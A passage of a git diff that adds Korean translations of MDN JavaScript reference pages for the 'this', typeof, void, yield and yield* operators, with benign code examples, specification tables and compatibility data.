+ a: 1,
+ b: 2,
+ c: 3,
+ get average() {
+ return (this.a + this.b + this.c) / 3;
+ }
+};
+
+Object.defineProperty(o, 'sum', {
+ get: sum, enumerable: true, configurable: true});
+
+console.log(o.average, o.sum); // 2, 6
+</pre>
+
+<h3 id="생성자로서">생성자로서</h3>
+
+<p>함수를 {{jsxref("Operators/new", "new")}} 키워드와 함께 생성자로 사용하면 <code>this</code>는 새로 생긴 객체에 묶입니다.</p>
+
+<div class="blockIndicator note">
+<p>While the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p>
+</div>
+
+<pre class="brush: js notranslate">/*
+ * Constructors work like this:
+ *
+ * function MyConstructor(){
+ * // Actual function body code goes here.
+ * // Create properties on |this| as
+ * // desired by assigning to them. E.g.,
+ * this.fum = "nom";
+ * // et cetera...
+ *
+ * // If the function has a return statement that
+ * // returns an object, that object will be the
+ * // result of the |new| expression. Otherwise,
+ * // the result of the expression is the object
+ * // currently bound to |this|
+ * // (i.e., the common case most usually seen).
+ * }
+ */
+
+function C() {
+ this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // 37
+
+
+function C2() {
+ this.a = 37;
+ return {a: 38};
+}
+
+o = new C2();
+console.log(o.a); // 38
+</pre>
+
+<h3 id="DOM_이벤트_처리기로서">DOM 이벤트 처리기로서</h3>
+
+<p>함수를 이벤트 처리기로 사용하면 this는 이벤트를 발사한 요소로 설정됩니다. 일부 브라우저는 {{domxref("EventTarget.addEventListener()", "addEventListener()")}} 외의 다른 방법으로 추가한 처리기에 대해선 이 규칙을 따르지 않습니다.</p>
+
+<pre class="brush: js notranslate">// 처리기로 호출하면 관련 객체를 파랗게 만듦
+function bluify(e) {
+ // 언제나 true
+ console.log(this === e.currentTarget);
+ // currentTarget과 target이 같은 객체면 true
+ console.log(this === e.target);
+ this.style.backgroundColor = '#A5D9F3';
+}
+
+// 문서 내 모든 요소의 목록
+var elements = document.getElementsByTagName('*');
+
+// 어떤 요소를 클릭하면 파랗게 변하도록
+// bluify를 클릭 처리기로 등록
+for (var i = 0; i &lt; elements.length; i++) {
+ elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="인라인_이벤트_핸들러에서">인라인 이벤트 핸들러에서</h3>
+
+<p>코드를 인라인 이벤트 처리기로 사용하면 <code>this</code>는 처리기를 배치한 DOM 요소로 설정됩니다.</p>
+
+<pre class="brush: js notranslate">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+ this 표시
+&lt;/button&gt;</pre>
+
+<p>위의 경고창은 <code>button</code>을 보여줍니다. 다만 바깥쪽 코드만 <code>this</code>를 이런 방식으로 설정합니다.</p>
+
+<pre class="brush: js notranslate">&lt;button onclick="alert((function() { return this; })());"&gt;
+ 내부 this 표시
+&lt;/button&gt;</pre>
+
+<p>위의 경우, 내부 함수의 this는 정해지지 않았으므로 전역/<code>window</code> 객체를 반환합니다. 즉 비엄격 모드에서 <code>this</code>를 설정하지 않은 경우의 기본값입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-this-keyword', 'The this keyword')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-this-keyword', 'The this keyword')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.this")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/typeof/index.html b/files/ko/web/javascript/reference/operators/typeof/index.html
new file mode 100644
index 0000000000..acdd2eedbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/typeof/index.html
@@ -0,0 +1,227 @@
+---
+title: typeof
+slug: Web/JavaScript/Reference/Operators/typeof
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+ - Unary
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>typeof</code></strong> 연산자는 피연산자의 평가 전 자료형을 나타내는 문자열을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div>
+
+<p class="hidden">이 예제 소스는 GitHub repository에 존재합니다. 만약 이 예제에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론해서 pull request를 보내주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>typeof</code> 연산자는 피연산자 앞에 위치합니다.</p>
+
+<pre>typeof <var>operand</var>
+typeof(<var>operand</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>operand</code></dt>
+ <dd>자료형을 가져올 객체 또는 {{glossary("Primitive", "원시값")}}을 나타내는 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>typeof</code>가 반환할 수 있는 값을 아래 표에서 볼 수 있습니다. 자료형과 원시값에 대한 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Data_structures">JavaScript 자료형과 자료구조</a> 페이지를 참고하세요.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Type</th>
+ <th scope="col">Result</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{glossary("Undefined")}}</td>
+ <td><code>"undefined"</code></td>
+ </tr>
+ <tr>
+ <td>{{glossary("Null")}}</td>
+ <td><code>"object"</code> ({{anch("null", "아래")}} 참고)</td>
+ </tr>
+ <tr>
+ <td>{{glossary("Boolean")}}</td>
+ <td><code>"boolean"</code></td>
+ </tr>
+ <tr>
+ <td>{{glossary("Number")}}</td>
+ <td><code>"number"</code></td>
+ </tr>
+ <tr>
+ <td>{{glossary("BigInt")}}</td>
+ <td><code>"bigint"</code></td>
+ </tr>
+ <tr>
+ <td>{{glossary("String")}}</td>
+ <td><code>"string"</code></td>
+ </tr>
+ <tr>
+ <td>{{glossary("Symbol")}} (ECMAScript 2015에서 추가)</td>
+ <td><code>"symbol"</code></td>
+ </tr>
+ <tr>
+ <td>호스트 객체 (JS 환경에서 제공)</td>
+ <td><em>구현체마다 다름</em></td>
+ </tr>
+ <tr>
+ <td>{{glossary("Function")}} 객체 (ECMA-262 표현으로는 [[Call]]을 구현하는 객체)</td>
+ <td><code>"function"</code></td>
+ </tr>
+ <tr>
+ <td>다른 모든 객체</td>
+ <td><code>"object"</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> ECMAScript 2019 and older permitted implementations to have <code>typeof</code> return any implementation-defined string value for non-callable non-standard exotic objects.</p>
+
+<p>The only known browser to have actually taken advantage of this is old Internet Explorer (see <a href="#IE-specific_notes">below</a>).</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">// Numbers
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // Despite being "Not-A-Number"
+typeof Number(1) === 'number'; // but never use this form!
+
+typeof 42n === 'bigint';
+
+
+// Strings
+typeof "" === 'string';
+typeof "bla" === 'string';
+typeof (typeof 1) === 'string'; // typeof always returns a string
+typeof String("abc") === 'string'; // but never use this form!
+
+
+// Booleans
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(true) === 'boolean'; // but never use this form!
+
+
+// Symbols
+typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+
+// Undefined
+typeof undefined === 'undefined';
+typeof declaredButUndefinedVariable === 'undefined';
+typeof undeclaredVariable === 'undefined';
+
+
+// Objects
+typeof {a:1} === 'object';
+
+// use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray</a> or Object.prototype.toString.call
+// to differentiate regular objects from arrays
+typeof [1, 2, 4] === 'object';
+
+typeof new Date() === 'object';
+
+
+// The following is confusing. Don't use!
+typeof new Boolean(true) === 'object';
+typeof new Number(1) === 'object';
+typeof new String("abc") === 'object';
+
+
+// Functions
+typeof function(){} === 'function';
+typeof class C {} === 'function';
+typeof Math.sin === 'function';
+</pre>
+
+<h2 id="추가_정보">추가 정보</h2>
+
+<h3 id="null"><code>null</code></h3>
+
+<pre class="brush:js">// This stands since the beginning of JavaScript
+typeof null === 'object';
+</pre>
+
+<p>자바스크립트를 처음 구현할 때, 자바스크립트 값은 타입 태그와 값으로 표시되었습니다. 객체의 타입 태그는 0이었습니다. <code>null</code>은 Null pointer(대부분의 플랫폼에서 <code>0x00</code>)로 표시되었습니다. 그 결과 null은 타입 태그로 0을 가지며, 따라서 <code>typeof</code>는 object를 반환합니다. (<a href="https://2ality.com/2013/10/typeof-null.html">참고 문서</a>)</p>
+
+<p>ECMAScript에 수정이 제안(opt-in을 통해)되었으나 <a href="https://web.archive.org/web/20160331031419/http://wiki.ecmascript.org:80/doku.php?id=harmony:typeof_null">거절되었습니다</a>. 제안된 것은 다음과 같습니다. <code>typeof null === 'null'.</code></p>
+
+<h3 id="Regular_expressions">Regular expressions</h3>
+
+<p>Callable regular expressions were a non-standard addition in some browsers.</p>
+
+<pre class="brush:js">typeof /s/ === 'function'; // Chrome 1-12 Non-conform to ECMAScript 5.1
+typeof /s/ === 'object'; // Firefox 5+ Conform to ECMAScript 5.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.4.3', 'The typeof Operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.typeof")}}</p>
+
+<h2 id="IE_참고사항">IE 참고사항</h2>
+
+<p>On IE 6, 7, and 8 a lot of host objects are objects and not functions. For example:</p>
+
+<pre class="brush: js">typeof alert === 'object'</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/void/index.html b/files/ko/web/javascript/reference/operators/void/index.html
new file mode 100644
index 0000000000..79fe2c1837
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/void/index.html
@@ -0,0 +1,122 @@
+---
+title: void
+slug: Web/JavaScript/Reference/Operators/void
+tags:
+ - JavaScript
+ - Operator
+ - Reference
+ - Unary
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>void</code> 연산자</strong>는 주어진 표현식을 평가하고 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-voidoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">void <em>expression</em></pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>void</code>는 값을 생성하는 표현식을 평가해서 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<p>오직 <code>undefined</code> 원시값을 얻기 위해 <code>void 0</code> 또는 <code>void(0)</code>처럼 사용하는 경우도 볼 수 있습니다. 이런 경우 전역 {{jsxref("undefined")}}를 대신 사용해도 됩니다.</p>
+
+<p><code>void</code> 연산자의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">우선순위</a>도 유념해야 합니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Grouping">그룹 연산자</a>(괄호)를 사용하면 <code>void</code> 연산자를 사용한 식의 평가 과정을 더 명확하게 보일 수 있습니다.</p>
+
+<pre class="brush: js">void 2 == '2'; // undefined == '2', false
+void (2 == '2'); // void true, undefined
+</pre>
+
+<h2 id="IIFE">IIFE</h2>
+
+<p>즉시 실행 함수 표현식({{Glossary("IIFE")}})을 사용할 때 <code>void</code>를 사용하면 <code>function</code> 키워드를 선언문이 아니라 표현식처럼 간주하도록 강제할 수 있습니다.</p>
+
+<pre class="brush: js">void function iife() {
+ var bar = function () {};
+ var baz = function () {};
+ var foo = function () {
+ bar();
+ baz();
+ };
+ var biz = function () {};
+
+ foo();
+ biz();
+}();
+</pre>
+
+<h2 id="JavaScript_URI">JavaScript URI</h2>
+
+<p><code>javascript:</code>로 시작하는 URI를 지원하는 브라우저에서는, URI에 있는 코드의 평가 결과가 {{jsxref("undefined")}}가 아니라면 페이지의 콘텐츠를 반환 값으로 대체합니다. <code>void</code> 연산자를 사용하면 <code>undefined</code>를 반환할 수 있습니다. 다음 예제를 확인하세요.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0);"&gt;
+ 클릭해도 아무 일도 없음
+&lt;/a&gt;
+&lt;a href="javascript:void(document.body.style.backgroundColor='green');"&gt;
+ 클릭하면 배경색이 녹색으로
+&lt;/a&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>javascript:</code> 의사 프로토콜보다 이벤트 처리기와 같은 대체재 사용을 권장합니다.</p>
+</div>
+
+<h2 id="새지_않는_화살표_함수">새지 않는 화살표 함수</h2>
+
+<p>Arrow functions introduce a short-hand braceless syntax that returns an expression. This can cause unintended side effects by returning the result of a function call that previously returned nothing. To be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example) changing APIs do not cause arrow functions' behaviors to change.</p>
+
+<pre class="brush: js">button.onclick = () =&gt; void doSomething();</pre>
+
+<p>This ensures the return value of <code>doSomething</code> changing from <code>undefined</code> to <code>true</code> will not change the behavior of this code.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-void-operator', 'The void Operator')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-void-operator', 'The void Operator')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.4.2', 'The void Operator')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-11.4.2', 'The void Operator')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-11.4.2', 'The void Operator')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.void")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/yield/index.html b/files/ko/web/javascript/reference/operators/yield/index.html
new file mode 100644
index 0000000000..ef884816d2
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/yield/index.html
@@ -0,0 +1,182 @@
+---
+title: yield
+slug: Web/JavaScript/Reference/Operators/yield
+tags:
+ - ECMAScript 2015
+ - Generators
+ - Iterator
+ - JavaScript
+ - Operator
+ - 반복자
+ - 생성기
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><code>yield </code>키워드는 제너레이터 함수 ({{jsxref("Statements/function*", "function*")}} 또는  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">레거시 generator </a>함수)를 중지하거나 재개하는데 사용됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = <strong>yield</strong> [<em>expression</em>];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>제너레이터 함수에서 <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">제너레이터 프로토콜</a>을 통해 반환할 값을 정의합니다.  값이 생략되면, <code>undefined를 반환합니다.</code></dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>제너레이터 실행을 재개 하기 위해서, optional value을 제너레이터의 <code>next()</code> 메서드로 전달하여 반환합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>yield 키워드</code>는 제너레이터 함수의 실행을 중지시키거나 그리고  <code>yield</code> 키워드 뒤에오는 표현식[expression]의 값은 제너레이터의 caller로 반환된다. 제너레이터 버전의 <code>return</code> 키워드로 생각 할 수 있다.</p>
+
+<p><code>yield</code> 키워드는 실질적으로  value 와 done 이라는 두 개의 속성을 가진 <code>IteratorResult</code> 객체를 반환한다. <code>value</code> 속성은 <code>yield</code> 표현(expression)의 실행 결과를 나타내고, <code>done</code> 속성은 제너레이터 함수가 완전히 종료되었는지 여부를 불린(Boolean) 형태로 보여줍니다. </p>
+
+<p>yield 표현식에서 중지되면 ,제너레이터의 next()가 메서드가 호출될 때까지 제너레이터의 코드 실행이 중지된다. 제너레이터의 next()메서드를 호출할 때마다 제너레이터는 실행을 재개하며 그리고 다음의 같은 경우에 진행될 때 실행된다:</p>
+
+<ul>
+ <li> <code>yield 는</code> 제너레이터가  한번 멈추게 하고 제너레이터의 새로운 값을 반환한다. 다음번의 next()가 호출된 후, yield 이후에 선언된 코드가 바로 실행된다.</li>
+ <li>{{jsxref("Statements/throw", "throw")}}는 제네레이터에서 예외를 설정할 때 사용된다. 예외가 발생할 경우 제너레이터의 전체적으로 실행이 중지되고, 그리고  다시 켜는 것이 일반적으로 실행됩니다.</li>
+ <li>
+ <p>제너레이터 함수가 종료가 되었다; 이 경우, 제너레이터 실행이 종료되고  <code>IteratorResult는 </code>caller 로  값이 {{jsxref("undefined")}}이고 done의 값이 true 로 리턴한다.</p>
+ </li>
+ <li>
+ <p>{{jsxref("Statements/return", "return")}} 문에 도달했다. 이 경우에는, 이 값이 종료되고 <code>IteratorResult는 </code>caller 로<code> return</code> 문에 의해 반환되는 값과 done의 값이 true  로 리턴한다.</p>
+ </li>
+</ul>
+
+<p>만약에 optional value가 제너레이터의 next() 메서드로 전달되면, optional value는  제너레이터의 현재 yield의 연산으로 반환되는 값이 된다.</p>
+
+<p>generator 코드 경로, yield연산자, {{jsxref("Generator.prototype.next()")}}에 이르기까지 새로운 시작 값을 지정할 수 있는 능력과 제네레이터는 커다란 힘과 제어를 제공한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 코드는 제너레이터 함수의 선언의 예시이다.</p>
+
+<pre class="brush: js">function* foo(){
+ var index = 0;
+ while (index &lt;= 2) // when index reaches 3,
+ // yield's done will be true
+ // and its value will be undefined;
+ yield index++;
+}</pre>
+
+<p>제너레이터 함수가 정의되면 , 아래 코드와 보여지는 것처럼 iterator로 만들어 사용할 수 있다.</p>
+
+<pre class="brush: js">var iterator = foo();
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES6', '#', 'Yield')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>39</td>
+ <td>{{CompatGeckoDesktop("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("29.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{ CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("29.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li>
+ <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the <code>yield</code> expression has been updated to conform with the latest ES6 specification ({{bug(981599)}}):
+ <ul>
+ <li>The expression after the <code>yield</code> keyword is optional and omitting it no longer throws a {{jsxref("SyntaxError")}}: <code>function* foo() { yield; }</code></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/yield_star_/index.html b/files/ko/web/javascript/reference/operators/yield_star_/index.html
new file mode 100644
index 0000000000..3bbb10146d
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/yield_star_/index.html
@@ -0,0 +1,164 @@
+---
+title: yield*
+slug: Web/JavaScript/Reference/Operators/yield*
+tags:
+ - ECMAScript 2015
+ - Generators
+ - Iterable
+ - Iterator
+ - JavaScript
+ - Operator
+ - Reference
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>yield*</code> 표현식</strong>은 다른 {{jsxref("Statements/function*", "generator")}} 또는 이터러블(iterable) 객체에 yield를 위임할 때 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">yield* [[<em>expression</em>]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>이터러블(iterable) 객체를 반환하는 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>yield* 표현은 피연산자를 반복하고 반환되는 값을 yield합니다.</p>
+
+<p>yield* 표현 자체의 값은 반복자(iterator)가 종료될 때 반환되는 값입니다. (i.e., done이 true일 때)</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="다른_생성기(generator)에_위임하기">다른 생성기(generator)에 위임하기</h3>
+
+<p>다음 코드는, next() 호출을 통해 g1()으로부터 yield 되는 값을 g2()에서 yield 되는 것처럼 만듭니다.</p>
+
+<pre class="brush: js">function* g1() {
+ yield 2;
+ yield 3;
+ yield 4;
+}
+
+function* g2() {
+ yield 1;
+ yield* g1();
+ yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="다른_이터러블(iterable)_객체">다른 이터러블(iterable) 객체</h3>
+
+<p>생성기 객체 말고도, yield*는 다른 반복 가능한 객체도 yield 할 수 있습니다. e.g. 배열, 문자열 또는 arguments 객체</p>
+
+<pre class="brush: js">function* g3() {
+ yield* [1, 2];
+ yield* "34";
+ yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="yield*_표현_자체의_값"><code>yield*</code> 표현 자체의 값</h3>
+
+<p><code>yield*</code> 는 구문이 아닌 표현입니다. 따라서 값으로 평가됩니다.</p>
+
+<pre class="brush: js">function* g4() {
+ yield* [1, 2, 3];
+ return "foo";
+}
+
+var result;
+
+function* g5() {
+ result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+ // g4() 는 여기서 { value: "foo", done: true }를 반환합니다
+
+console.log(result); // "foo"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.yield_star")}}</p>
+
+<h2 id="Firefox에_한정된_내용">Firefox에 한정된 내용</h2>
+
+<ul>
+ <li>Gecko 33 {{geckoRelease(33)}} 부터, yield 표현 구문 분석이 최신 ES6 표준에 맞추도록 업데이트 되었습니다 ({{bug(981599)}}):
+ <ul>
+ <li>개행 제한이 이제 구현되었습니다. 개행이 없는 "yield" 와 "*"만 인정됩니다. 다음과 같은 코드는 {{jsxref("SyntaxError")}}를 발생시킵니다:
+ <pre class="brush: js">function* foo() {
+ yield
+ *[];
+}</pre>
+ </li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
